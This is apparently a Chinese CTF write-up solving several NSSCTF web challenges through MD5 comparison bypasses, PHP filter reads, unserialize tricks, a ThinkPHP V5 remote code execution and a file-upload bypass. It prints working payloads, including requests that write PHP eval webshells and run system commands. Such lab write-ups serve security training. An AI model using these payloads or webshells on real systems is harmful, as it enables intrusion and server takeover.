奇妙的MD5
进入靶场
然我们输入一个特殊的字符串,然后我到处翻了翻,发现有提示
在MD5中有两个特殊的字符串
0e215962017 //MD5加密后弱比较等于自身
ffifdyop //MD5加密后变成万能密码
这里明显就是万能密码了
输入之后就来到了这个页面
源码里面就有想要的线索
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
;
-->
这个就是简单的MD5弱比较
输入?x=240610708&y=s878926199a即可
输入之后又是一个代码审计,这个就是强比较了,数组绕过即可
ez_ez_php
进入靶场
一个简单的代码审计
这个代码的意思是说前三个字符必须要是php
那就用php伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
先进行base64解密
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
echo "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";
echo "换个思路,试试PHP伪协议呢";
解密出来是这个
然后提示说real_flag_is_in_'flag',那么payload
?file=php://filter/read=convert.base64-encode/resource=flag
base64解码
NSSCTF{4be155fb-6428-4f0c-ae04-4adc2cb1199a}
ez_ez_unserialize
进入靶场
这个反序列化题主要是如何绕过__wake魔法函数
先将这个序列化
__wake魔法函数的触发条件是在进行反序列化之前触发,因此只需要修改参数就能绕过
payload
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
ez_rce
这个题目没什么好评价的,漏洞复现而已
先进入靶场
目录扫描之后,发现robots.txt文件
进入之后发现新大陆
然后来到这个页面
然后搜索ThinkPHP V5漏洞复现即可
payload
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami //这个指令可以用来命令执行
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>
//这个指令可以用来写马
连上蚁剑后
flag在/nss/ctf/flag/flag
Ez_upload
进入靶场
有一个文件上传框
首先,直接上传php文件
上传png文件并抓个包试试
"你上传的什么鬼?",这个应该是对Content-Type做了过滤,或者对内容做了过滤,先把内容全部删掉测试Content-Type
也传不上去,一顿测试之后发现filename=muma.png并且Content-Type为image/jpeg才能上传
那么将一句话木马传进去
又出现了"换其他类型",那就是对内容做了过滤,尝试之后发现对<?做了过滤,payload
<script language="php">eval($_POST['cmd']);</script>
上传成功
但是怎么才能让这个执行呢,后缀名不能为ph,那么就可以传.hta文件,上传之后用蚁剑连接muma.png即可
然后在终端输入env即可出flag
funny_php
进入靶场
一上来就是长串的代码审计
但是看了一会发现这个可以分几部分,那么就一部分一部分的解题
第一部分
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
这个地方需要num小于等于3并且大于999999999,这个地方用科学计数法绕过就行
payload
?num=3e9
第二部分
php
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
这个地方需要让str的值为NSSCTF,但是又将NSSCTF代替为空,双写绕过即可
payload
?str=NSSNSSCTFCTF
第三部分
php
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
这个代码看着很长,其实就是个弱比较,只要全是字符串就行
payload
md5_1=QNKCDZO&md5_2=240610708
funny_web
首先进入靶场
这个属于一个签到题
账号:NSS
密码:2122693401
进来之后简单源码审计,很简单的过滤方法
输入?num=12345a即可
js_sign
进入靶场
只有一个框,题目提示说看js文件
这里已经出现flag了,将这串数字去掉空格之后变为
3343431344215434452124331421311122125444113513341415
解码之后
flag就出来了
最终答案
NSSCTF{fyoufindflagbytapcode}
numgame
进入靶场
我第一想法就是把这个点到20,但是加到16之后再加就直接跳到-20了,这个做法明显不太理智,然后我想查看源代码,然后可恶的出题人把右键和ctrl+u都给ban了
那就用view-source大法
view-source:http://node5.anna.nssctf.cn:21933/
查看js文件
在nssctf里面有一个base64加密后的文件
解密之后为NsScTf.php
进入这个页面
这里过滤了n和c,但没有大小写过滤,先访问hint2.php吧,题目提示与get相似的另一种请求,那应该就是post了
ps:在编程语言中,双冒号运算符(::)可以用来访问类的成员,包括静态成员和非静态成员
因此,以post的方式执行命令就行
payload
p=nss::ctf //表示访问nss类下的ctf成员变量
执行之后他告诉我类是nss2,那就改一下payload即可
p=nss2::ctf
执行之后查看源码就能得到flag
webdog1__start
这个题目还是挺有意思的,有许多的提示隐藏了
进入靶场
这里有两种方向,查看源码,又或者去扫目录,首先走第一步,源码里面有东西
if (isset($_GET['web']))
{
$first=$_GET['web'];
if ($first==md5($first))
MD5加密后与原来相同
那就是0e215962017
输入?web=0e215962017
来到start.php页面
将里面的所有地方都点过了,并没有什么有用的地方,但网络层给了提示
进来这个页面后同样网络层又给了提示
进入F1l1l1l1l1lag.php目录内,来到了最终的地方
进行源码审计,利用点在eval,但是将空格和flag字符过滤了,空格可以用%09过滤,flag可以用通配符过滤
payload
?get=system('tac%09/f*');
第二种方法就是扫目录
就可以跳过前两步,直接进入robots.txt找答案了
里面是乱码,乱码修复即可
后面的步骤都是一样了
1z_unserialize
进入靶场
这个是非常简单的反序列化了
构造php
输出结果为
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
ls的结果出来了,修改参数找flag就行,payload
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"tac /flag";}